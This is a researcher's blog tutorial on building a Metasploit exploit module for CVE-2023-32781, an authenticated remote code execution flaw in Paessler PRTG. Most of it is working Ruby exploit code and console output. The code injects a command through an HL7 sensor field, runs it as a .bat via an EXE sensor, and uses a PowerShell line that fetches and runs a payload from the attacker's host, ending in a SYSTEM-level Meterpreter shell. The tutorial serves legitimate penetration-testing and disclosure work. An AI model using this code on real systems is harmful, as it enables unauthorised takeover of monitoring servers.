People regularly use metasploit for utilizing exploits written by others. But what is actually the process of writing an exploit and since getting it published as a metasploit module? This is an important step to complete as other professionals can then reuse your work in customer engagements.
This post outlines the process I followed to transform the authenticated Remote Code Execution (RCE) vulnerability in PRTG, identified as CVE-2023-32781, into a Metasploit exploit. The focus here is on the development of the exploit itself, rather than the steps for exploiting the RCE. For specific details on the vulnerability, please refer to the corresponding post titled PRTG Remote Code Execution.
The following will be our things to go through:
We don't want to install everything on our local machine, but merely want a quick running metasploit. For this we can use their docker image metasploit-image
The following commands will get us up and running. These will pull the metasploit docker image and subsequently drop us into a shell.
baldur:~$ docker pull metasploitframework/metasploit-framework
baldur:~$ docker run --rm --net=host -it metasploitframework/metasploit-framework
Metasploit tip: Enable verbose logging with set VERBOSE true
 ______________________________________
/ it looks like you're trying to run a \
\ module                               /
 --------------------------------------
 \
  \
     __
    /  \
    |  |
    @  @
    |  |
    || |/
    || ||
    |\_/|
    \___/
       =[ metasploit v6.3.34-dev                          ]
+ -- --=[ 2354 exploits - 1225 auxiliary - 413 post       ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]
Metasploit Documentation: https://docs.metasploit.com/
[*] Processing docker/msfconsole.rc for ERB directives.
[*] resource (docker/msfconsole.rc)> Ruby Code (236 bytes)
LHOST => 172.17.0.2
msf6 > 
An important bit to notice above is the --net=host flag. You probably run your vulnerable service in another container or another virtual machine or similar. Your docker might not have the same network access as the host, but this flag forces it to have the same access. This will also allow reverse payloads to listen on your host interface instead of inside a container that is probably not reachable by default.
Metasploit is now up and running. All the usual commands are available such as use <exploit> and more. But what we really want is to have our own cve_2023_32781.rb running inside this instance.
For this you need two things:
cve_2023_32781.rb which you edit on your host, to be accessible for the container that runs metasploit.The editor choice will be up to you.
First we're going to fill cve_2023_32781.rb with the basics needed for an exploit. This will be self-explanatory for now and every edit will be explained later on.
# cve_2023_32781.rb
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PRTG CVE-2023-32781 Authenticated RCE',
        'Description' => %q{
          Authenticated RCE in Paessler PRTG
        },
        'License' => MSF_LICENSE,
        'Author' => ['ggisz'],
        'References' => [
          [ 'URL', 'https://baldur.dk/blog/prtg-rce.html'],
          [ 'CVE', '2023-32781']
        ],
        'DisclosureDate' => '2023-08-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
  end
  def check
    CheckCode::Vulnerable
  end
  def exploit
    connect
    print_status("PRTG Incomplete exploit")
    handler
  end
end
To map the file cve_2023_32781.rb into metasploit we need to create a directory with the file, and then use docker volume command to mount it.
baldur:~$ mkdir development
baldur:~$ mv cve_2023_32781.rb development
baldur:~$ docker run --rm --net=host -it -v $PWD/development:/usr/src/metasploit-framework/modules/exploits/development/ metasploitframework/metasploit-framework
The last command simply mounts our local development folder into the folder /usr/src/metasploit-framework/modules/exploits/development/ which is used by metasploit for discovering the exploits available.
Upon starting metasploit we notice that 2355 exploits are available instead of 2354. (This might differ on the time you read this post)
       =[ metasploit v6.3.34-dev                          ]
+ -- --=[ 2355 exploits - 1225 auxiliary - 413 post       ]
+ -- --=[ 1387 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion            
Now we can use and get info about our loaded exploit with the command use exploit/development/cve_2023_32781
msf6 > use exploit/development/cve_2023_32781 
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(development/cve_2023_32781) > info
       Name: PRTG CVE-2023-32781 Authenticated RCE
     Module: exploit/development/cve_2023_32781
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-08-09
Provided by:
  ggisz
Available targets:
      Id  Name
      --  ----
Check supported:
  Yes
Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.htm
                                     l
  RPORT                    yes       The target port (TCP)
Payload information:
Description:
  Authenticated RCE in Paessler PRTG
References:
  https://baldur.dk/blog/prtg-rce.html
  https://nvd.nist.gov/vuln/detail/CVE-2023-32781
View the full module info with the info -d command.
Modifying the exploit during development is a standard procedure. By employing the reload command, any changes made to the exploit, such as altering the name within cve_2023_32781.rb, are promptly reflected.
msf6 exploit(development/cve_2023_32781) > reload
[*] Reloading module...
msf6 exploit(development/cve_2023_32781) > info 
       Name: PRTG CVE-2023-32781 Authenticated RCE UPDATED
Now that our development environment is setup we can get straight into actually building the exploit.
Our exploit consists of the following steps:
HL7 Sensor that will write a .bat file to the diskEXE Sensor which will then run the .bat fileThe first step would be to login to the application and verify that we're authenticated correctly. For this we need to be able to specify how the exploit should authenticate and what the default credentials are. Here the register_options comes in handy.
This should be placed inside the defined initialize but after the super
register_options(
   [
      OptString.new(
         'USERNAME',
         [ true, 'The username to authenticate with', 'prtgadmin' ]
      ),
      OptString.new(
         'USERNAME',
         [ true, 'The username to authenticate with', 'prtgadmin' ]
      ),
      OptString.new(
         'URI',
         [ true, 'The URI for the PRTG web interface', '/' ]
      )
   ]
)
Now we can reload and info the exploit and see the available options.
msf6 exploit(development/cve_2023_32781) > reload
[*] Reloading module...
msf6 exploit(development/cve_2023_32781) > info
...SNIP...
Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS    127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.h
                                       tml
  RPORT     443              yes       The target port (TCP)
  SSL       false            no        Negotiate SSL/TLS for outgoing connections
  URI       /                yes       The URI for the PRTG web interface
  USERNAME  prtgadmin        yes       The username to authenticate with
  VHOST                      no        HTTP server virtual host
  password  prtgadmin        yes       The password to authenticate with
...SNIP...
When running the payload, you can simply omit the process of actually setting the options. Simply writing run rhosts=127.0.0.1 rport=13380 will set them on the fly and allow quick debugging and environment changes. rhosts specifies the target address, and rport the target port. I'm using port forwarding which is why it listens on my local interface.
Now we need the code for actually conducting the authentication attempt against PRTG. For this we need to modify the def exploit method. But first, lets see the authentication attempt through the eyes of Burp Suite.
To do this, simply fire up Burp Suite and MiTM a authentication attempt towards PRTG
Here we see the following POST request:
POST /public/checklogin.htm HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
...
loginurl=&username=prtgadmin&password=prtgadmin
The important bits to note down here is the arguments needed, http method and the Content-Type as it might be JSON. In this case it is simply application/x-www-form-urlencoded. Then also note down the request path. In some cases the application has extra checks (as we will see later), CSRF tokens and more to handle, but this is not the case for now. So now we can simply build our authentication check in a new method:
def authenticate_prtg
   res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['URI'], 'public', 'checklogin.htm'),
      'vars_post' => {
         'username' => datastore['USERNAME'],
         'password' => datastore['PASSWORD']
      }
   })
   unless res
      fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
   end
   if res && res.code == 302 && res.headers['Set-Cookie']
      print_good('Successfully authenticated against PRTG')
   else
      fail_with(Failure::NoAccess, 'Failure to authenticate against PRTG')
   end
end
What happens in the above example is that it utilizes the internal function in metasploit called send_request_cgi and then it builds the request with the given URI and the path /public/checklogin.htm. Then the parameters are inputted from our configuration, and sent to the server. The first check is simply connectivity issues, but the second is the interesting part. Here we check against the http code 302 and if the server tries to set cookies through the Set-Cookie flag. This indicates a successful authentication attempt which we learned through Burp Suite interactions previously. This varies greatly depending on the target application.
Now it's time to check our exploit so far. Let's first check with the default credentials and then actively setting wrong credentials to see if it correctly throws an error.
Note: There will be some reverse TCP handler messages but for now, we don't care about them.
msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
[!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.1.1:4444 
[*] PRTG Incomplete exploit
[+] Successfully authenticated against PRTG
[*] Ending
[*] Exploit completed, but no session was created.
We can now see our succesfull authentication message: Successfully authenticated against PRTG.
Let's just verify that it fails with wrong credentials.
msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380 USERNAME=nonexistantuser
[!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.1.1:4444 
[*] PRTG Incomplete exploit
[-] Exploit aborted due to failure: no-access: Failure to authenticate against PRTG
[*] Exploit completed, but no session was created.
Great! First part done. We can now authenticate against PRTG
So now we have 2 stages left, which is triggering the file write, and executing the written file.
Let's first define two boilerplate functions for the next stages. These are going to be ran after the authentication stage.
def write_bat_file_to_disk
   # Uses the HL7Sensor for writing a .bat file to the disk
   print_good('Writing .bat to disk')
end
def run_bat_file_from_disk
   # Run the .bat file that we previously wrote to the disk
   print_good('Running .bat from disk')
end
For completing the function write_bat_file_to_disk we need three things:
To keep the cookies for future requests is easy if we look at the documentation for the send_request_cgi method. Here we can see that a flag keep_cookies is present.
This will keep all the cookies set by the server in a cookie store in HttpClient, available for future requests. So now we can send all future requests as authenticated.
For the request that creates the HL7 Sensor, we repeat the steps on the authentication flow, and request the creation through burp, and note down the relevant parts. I'm not going through the full request, but one thing that differs and is important is that we now have a anti-csrf-token as we normally have in these kind of applications. So we need to fetch this token, before any requests can be made.
anti-csrf-token's can be stored in multiple ways, so that is very application dependent. However, in this particular example, the value is reflected inside the DOM upon making a request to /welcome.htm (and probably any other page).
...SNIP...
<meta
   name="csrf-token" 
   content="MjUzNGRlMzUwMmRmNmVkZjZkZjQ5MDk5N2EzOWY2N2FmNTM4YmNkMDkzMjQ2ZGNhNjg5NzdkNjE2OGNmMDgyZQ=="
>
...SNIP...
To extract this, we create a function called get_csrf_token that requests /welcome.htm, parses the body, and returns the anti-csrf-token string. Extracting the actual token from the body is done through using a regex that is specified for how it looks inside PRTG.
def get_csrf_token
   res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['URI'], '/welcome.htm'),
      'keep_cookies' => true,
   })
   if res.nil? || res.body.nil?
      fail_with(Failure::NoAccess, 'Page with CSRF token not available')
   end
   regex = %r{csrf-token" content="([^"]+)"}
   token = res.body[regex, 1]
   print_good("Extracted token")
   print_good(token)
   token
end
The interesting part here is the regex. It matches csrf-token" content=" and then makes a second group and matches all characeters within this group, until a " character arive. Then we extract that group 1, with this res.body[regex, 1].
Now that we have our method for getting the anti-csrf-token needed for the request, we can continue with building the method write_bat_file_to_disk.
I won't go into the exploit details as these are thoroughly described in the blog post around that vulnerability, but instead outline the two steps involved in the write_bat_file_to_disk method.
/addsensor5.htm which creates the HL7 Sensor. Here the anti-csrf-token is embedded as a parameter in the POST body./controls/deviceoverview.htm?id=40 as we need to get the id for the HL7 Sensor we just created. This id is sadly not reflected in the /addsensor5.htm response./api/scannow.htm with the id for the HL7 Sensor we just created. The anti-csrf-token is embedded as a header in this request, as that is what the application relies on.All request details are extracted through Burp Suite and simply reading the HTTP requests.
So writing up our updated method for write_bat_file_to_disk we get the following code.
def write_bat_file_to_disk
  # Uses the HL7Sensor for writing a .bat file to the disk
  print_status('Writing .bat to disk')
  csrf_token = get_csrf_token
  # Generate a random sensor name
  sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
  bat_file_name = "#{Rex::Text.rand_text_alphanumeric(8..10)}.bat"
  print_status("Generated sensor_name #{sensor_name}")
  print_status("Generated bat_file_name #{bat_file_name}")
  params = {
    'name_' => sensor_name,
    'parenttags_' => '',
    'tags_' => 'dicom hl7',
    'priority_' => '3',
    'port_' => '104',
    'timeout_' => '60',
    'override_' => '0',
    'sendapp_' => 'test',
    'sendfac_' => 'test',
    'recvapp_' => 'test',
    'recvfac_' => "testtest4\" -debug=\"C:\\Program Files (x86)\\PRTG Network Monitor\\Custom Sensors\\EXE\\#{bat_file_name}\" -recvapp=\"test",
    'hl7file_' => 'ADT_& mkdir c:\\\metasploit & A08.hl7|ADT_A08.hl7||',
    'hl7filename' => '',
    'intervalgroup' => ['0', '1'],
    'interval_' => '60|60 seconds',
    'errorintervalsdown_' => '1',
    'inherittriggers' => '1',
    'id' => '40',
    'sensortype' => 'hl7',
    'tmpid' => '2',
    'anti-csrf-token' => csrf_token,
  }
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(datastore['URI'], '/addsensor5.htm'),
    'keep_cookies' => true,
    'vars_post' => params
  })
  unless res
    fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
  end
  if res && res.code == 302
    print_status('HL7 Sensor created')
  else
    fail_with(Failure::NoAccess, 'Failure to create HL7 sensor')
  end
  print_good("HL7 Sensor succesfully created")
  # Actually creating the sensor can take 1-2 seconds
  sleep(5)
  sensor_id = get_created_sensor_id(sensor_name)
  print_status("Requesting HL7 Sensor to initiate scan")
  run_sensor_with_id(sensor_id)
  print_good(".bat file written to disk")
  bat_file_name
end
We went over many things in this code, but some minor new things is that we now pass the headers flag to send_request_cgi, because this function is requiring the anti-csrf-token as a header. Another thing is the X-Requested-With, which has to be set to XMLHttpRequest else we get a permission denied error. Again, these are things you have to fiddle with for each exploit you write, as the logic is completely application dependent.
The sensor_name and bat_file_name are now randomly generated to avoid clashing with existing sensors, or bat files.
Another thing is that we introduced the function for getting the sensor_id. It takes the name of the sensor and parses through the DOM and finds the id. It is very much alike the get_csrf_token method.
def get_created_sensor_id(sensor_name)
  print_status("Fetching created sensor id")
  res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(datastore['URI'], 'controls', 'deviceoverview.htm'),
    'keep_cookies' => true,
    'vars_get' => {
      'id' => 40,
    }
  })
  if res.nil? || res.body.nil?
    fail_with(Failure::NoAccess, 'Page with sensorid not available')
  end
  regex = %r{id=([0-9]+)">#{sensor_name}}
  sensor_id = res.body[regex, 1]
  print_status("Extracted sensor_id: #{sensor_id}")
  sensor_id
end
Same goes for the function run_sensor_with_id which simply makes the request to /api/scannow.htm and starts the sensor with the given id.
def run_sensor_with_id(sensor_id)
  csrf_token = get_csrf_token
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(datastore['URI'], 'api', 'scannow.htm'),
    'keep_cookies' => true,
    'headers' => {
      'anti-csrf-token' => csrf_token,
      'X-Requested-With'=> 'XMLHttpRequest'
    },
    'vars_post' => {
      'id': sensor_id,
    }
  })
  if res && res.code == 200
    print_good('Sensor started running')
  else
    fail_with(Failure::NoAccess, 'Failure to run sensor')
  end
end
Now we need to run the created .bat file through an EXE sensor. The process for this is much alike the other items above. We will do this inside our old boilerplate function run_bat_file_from_disk.
EXE/Script Sensor through the endpoint /addsensor5.htm and specify the file we want to run, which is our newly created .bat file./controls/deviceoverview.htm?id=40 as we need to get the id for the EXE/Script Sensor we just created. This id is sadly not reflected in the /addsensor5.htm response./api/scannow.htm with the id for the EXE/Script Sensor we just created. The anti-csrf-token is embedded as a header in this request, as that is what the application relies on.Since step 2 and 3 are eerily close to step 2 and 3 in the last steps inside the write_bat_file_to_disk function, we're going to reuse the two functions we defined, namely get_created_sensor_id and run_sensor_with_id.
This will make our run_bat_file_from_disk function look like the following:
Note: All relevant parameters for the HTTP requests are simply taken by intercepting the Burp request when exploiting this issue manually.
def run_bat_file_from_disk(bat_file_name)
  print_status("Running the .bat file: #{bat_file_name}")
  csrf_token = get_csrf_token
  sensor_name = Rex::Text.rand_text_alphanumeric(8..10)
  params = {
    "name_" => sensor_name,
    "parenttags_" => "",
    "tags_" => "exesensor",
    "priority_" => "3",
    "scriptplaceholdergroup" => "1",
    "scriptplaceholder1description_" => "",
    "scriptplaceholder1_" => "",
    "scriptplaceholder2description_" => "",
    "scriptplaceholder2_" => "",
    "scriptplaceholder3description_" => "",
    "scriptplaceholder3_" => "",
    "scriptplaceholder4description_" => "",
    "scriptplaceholder4_" => "",
    "scriptplaceholder5description_" => "",
    "scriptplaceholder5_" => "",
    "exefile_" => "#{bat_file_name}|#{bat_file_name}||",
    "exefilelabel" => "",
    "exeparams_" => "",
    "environment_" => "0",
    "usewindowsauthentication_" => "0",
    "mutexname_" => "",
    "timeout_" => "60",
    "valuetype_" => "0",
    "channel_" => "Value",
    "unit_" => "#",
    "monitorchange_" => "0",
    "writeresult_" => "0",
    "intervalgroup" => "0",
    "interval_" => "43200|12 hours",
    "errorintervalsdown_" => "1",
    "inherittriggers" => "1",
    "id" => "40",
    "sensortype" => "exe",
    "tmpid" => "6",
    "anti-csrf-token" => csrf_token,
    }
  res = send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(datastore['URI'], '/addsensor5.htm'),
    'keep_cookies' => true,
    'vars_post' => params
  })
  unless res
    fail_with(Failure::NoAccess, 'Failure to connect to PRTG')
  end
  if res && res.code == 302
    print_status('EXE Script sensor created')
  else
    fail_with(Failure::NoAccess, 'Failure to create EXE Script sensor')
  end
  print_status("Sleeping 5 seconds to wait for sensor creation")
  sleep(5)
  sensor_id = get_created_sensor_id(sensor_name)
  run_sensor_with_id(sensor_id)
  print_good("Exploit completed. Waiting for payload")
end
The above scripts does not introduce any new concepts that needs further explanation.
Now we have a fully functioning exploit that will create a .bat file with a valid command to be executed as SYSTEM. Our exploit function now looks like the following:
def exploit
  connect
  print_status("PRTG Incomplete exploit")
  authenticate_prtg
  bat_file_name = write_bat_file_to_disk
  run_bat_file_from_disk(bat_file_name)
  print_status("Exploit done")
  # handler
end
And when we reload and run our created exploit we get the following:
msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
[!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.1.1:4444 
[*] PRTG Incomplete exploit
[+] Successfully authenticated against PRTG
[*] Writing .bat to disk
[*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
[*] Generated sensor_name OTFUPFJK
[*] Generated bat_file_name HJPHFSOH.bat
[+] HL7 Sensor succesfully created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2085
[*] Requesting HL7 Sensor to initiate scan
[*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
[+] Sensor started running
[+] .bat file written to disk
[*] Running the .bat file: HJPHFSOH.bat
[*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
[*] EXE Script sensor created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2086
[*] Extracted csrf token: OTg1YWI1OTMzYjM5ZTFkY2Y2MjE3MTc3YTkyYTY3NzNhYjgxNGFmN2E2OTZhMmU1NDY1ZWVjOTMwNjhlNmE5Yg==
[+] Sensor started running
[+] Exploit completed. Waiting for payload
[*] Exploit done
[*] Exploit completed, but no session was created.
Remember I told you not to worry about the Started reverse TCP handler? Well now it's time to fix that part. Currently we simply inject a mkdir payload, as can be seen in the hl7file_ parameter of the request to create the HL7Sensor.
We want to be able to make arbitrary payloads from the usage of Metasploits internal payload library. Namely we want to use meterpreter to prove full exploit functionality.
To enable the usage of internal payloads such as meterpreter we need to include a stager mixin. For this specific vulnerability where we have a command we can execute, the Msf::Exploit::CmdStager is an excellent choice.
This allows us to create a wrapper, and tell metasploit how to execute a command and launch the payload for us. Now after including Msf::Exploit::CmdStager in our module, we need to tell it about our target, and how we want the stager to work.
The following is going to be included in the update_info function in the start of our exploit. This tells metasploit that we want to stage the payload picked by the user with psh_invokewebrequest. This uses powershell to fetch our payload and run it on the machine. This is great as we don't have a lot of space in our initial payload.
'Targets' =>
[
  [ 'Windows',
    {
      'Arch' => [ ARCH_X86_64, ARCH_X86 ],
      'Platform' => 'win',
      'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]
    }
  ]
]
Once the Msf::Exploit::CmdStager mixin is in place, we need create a function called execute_command which is used by the mixin.
in short, our module exploit method will now look like the following. We commented out our old items for now. So execute_cmdstager is an internal function delivered by the Msf::Exploit::CmdStager. It does magic to our choosen payload and then it will run the command it builds by calling execute_command which is a function we define.
 def exploit
  connect
  execute_cmdstager(flavor: :psh_invokewebrequest)
  # print_status("PRTG Incomplete exploit")
  # authenticate_prtg
  # bat_file_name = write_bat_file_to_disk
  #run_bat_file_from_disk(bat_file_name)
  # print_status("Exploit done")
  # handler
end
def execute_command(cmd, opts = {})
  print_status(cmd)
end
Now we simply printed the cmd to see what is happening behind the scenes. We simply reload the module, set the payload to windows/meterpreter/reverse_tcp. Set the SRVPORT, which is where the stager will fetch the second part of the payload. So the port that your host/attacker will be listening on. Currently we are not setting the LPORT and LHOST which is relevant for meterpreter, but that is not relevant for now.
msf6 exploit(development/cve_2023_32781) > reload
[*] Reloading module...
msf6 exploit(development/cve_2023_32781) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(development/cve_2023_32781) > set SRVPORT 10102
SRVPORT => 10102
msf6 exploit(development/cve_2023_32781) > run rhosts=127.0.0.1 rport=13380
[!] You are binding to a loopback address by setting LHOST to 127.0.1.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.1.1:4444 
[*] Using URL: http://127.0.1.1:10102/oUwmBJI
[*] powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\Nxvfrnet.exe http://127.0.1.1:10102/oUwmBJI & %TEMP%\Nxvfrnet.exe & del %TEMP%\Nxvfrnet.exe
[*] Command Stager progress - 100.00% done (143/143 bytes)
As we can see it builds a nice staging command for us. This command simply downloads the Nxvfrnet.exe binary which is meterpreter using powershell and then runs it.
powershell.exe -c Invoke-WebRequest -OutFile %TEMP%\Nxvfrnet.exe http://127.0.1.1:10102/oUwmBJI & %TEMP%\Nxvfrnet.exe & del %TEMP%\Nxvfrnet.exe
So now we have to modify our original exploit code to be called from within execute_command so we know what to pass into the .bat file that we create.
For this to work we are going to rearrange our exploit to the following:
 def exploit
  connect
  execute_cmdstager(flavor: :psh_invokewebrequest)
end
def execute_command(cmd, opts = {})
  print_status("Running PRTG RCE exploit")
  authenticate_prtg
  bat_file_name = write_bat_file_to_disk(cmd)
  run_bat_file_from_disk(bat_file_name)
  print_status("Exploit done")
  handler
end
Now we simply adjust our write_bat_file_to_disk to take the cmd parameter and write it into the file.
def write_bat_file_to_disk(cmd)
    cmd = cmd.gsub! '\\', '\\\\\\'
    ...SNIP...
    params = {
      ...SNIP...
      'hl7file_' => "ADT_& #{cmd} & A08.hl7|ADT_A08.hl7||",
...SNIP...
One minor problem is that PRTG is weird about their \ characters, and they want some more. So this is fixed in the by adding some extras in this line cmd = cmd.gsub! '\\', '\\\\\\'
Now our exploit should be ready to run!
msf6 > use exploit/development/cve_2023_32781
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(development/cve_2023_32781) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(development/cve_2023_32781) > set RPORT 13380
RPORT => 13380
msf6 exploit(development/cve_2023_32781) > set SRVHOST 192.168.56.1
SRVHOST => 192.168.56.1
msf6 exploit(development/cve_2023_32781) > set SRVPORT 10106
SRVPORT => 10106
msf6 exploit(development/cve_2023_32781) > set LPORT 4446
LPORT => 4445
msf6 exploit(development/cve_2023_32781) > set LHOST 192.168.56.1
msf6 exploit(development/cve_2023_32781) > exploit
[*] Started reverse TCP handler on 192.168.56.1:4446 
[*] Using URL: http://192.168.56.1:10105/sF321hmEZCz
[*] Running PRTG RCE exploit
[+] Successfully authenticated against PRTG
[*] Writing .bat to disk
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[*] Generated sensor_name Wg83qiZvO
[*] Generated bat_file_name rjKu8O2Pt.bat
[+] HL7 Sensor succesfully created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2095
[*] Requesting HL7 Sensor to initiate scan
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[+] Sensor started running
[+] .bat file written to disk
[*] Running the .bat file: rjKu8O2Pt.bat
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[*] EXE Script sensor created
[*] Sleeping 5 seconds to wait for sensor creation
[*] Fetching created sensor id
[*] Extracted sensor_id: 2096
[*] Extracted csrf token: OWVlYTZkYzQwYmEwNDlkZmQ5ZGJiZDQ2OWVkYWU3YTEwZjYxODE4MzM2Y2U4ZGVmZGY1OTFlNzEwOWIxNDMwMA==
[+] Sensor started running
[+] Exploit completed. Waiting for payload
[*] Exploit done
[*] Command Stager progress - 100.00% done (150/150 bytes)
[*] Client 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428) requested /sF321hmEZCz
[*] Sending payload to 192.168.56.1 (Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.22621.2428)
[*] Sending stage (175686 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.1:4446 -> 192.168.56.1:43926) at 2023-11-23 17:06:34 +0000
[*] Server stopped.
meterpreter > shell
Process 4280 created.
Channel 1 created.
Microsoft Windows [Version 10.0.22621.2428]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
whoami
nt authority\system
Our first fully featured exploit for the metasploit framework! Now other professionals can reuse our work in engagements.
Now we want our exploit to go into the official metasploit repository. For this the steps are the following:
forkforkedpull requestbaldur:~$ git clone git@github.com:ggisz/metasploit-framework.git
baldur:~$ cd metasploit-framework
baldur:~$ git checkout -b prtg_authenticated_rce_cve_2023_32781
baldur:~$ cp cve_2023_32781.rb modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
baldur:~$ git add modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
baldur:~$ git commit -m "added exploit for CVE-2023-32781 - PRTG authenticated RCE"
baldur:~$ git push --set-upstream origin prtg_authenticated_rce_cve_2023_32781
As you notice above in the following command we rename our exploit and place it here modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb. This is up to you to find the most fitting directory for your new exploit. In our case, it is HTTP based and windows only, which makes it the perfect candidate for that folder. Furthermore, previous PRTG exploits are also written to this folder.
Now go to metasploit-framework at github and create a pull request to merge your branch into the metasploit-framework master branch. This pull request should include every information about the new module, to easen the burden on rapid7. A video is also good to include where you run the exploit.
The following is my pull request: PR#18568 where you can see the full finished exploit. Now let's hope rapid7 accepts it.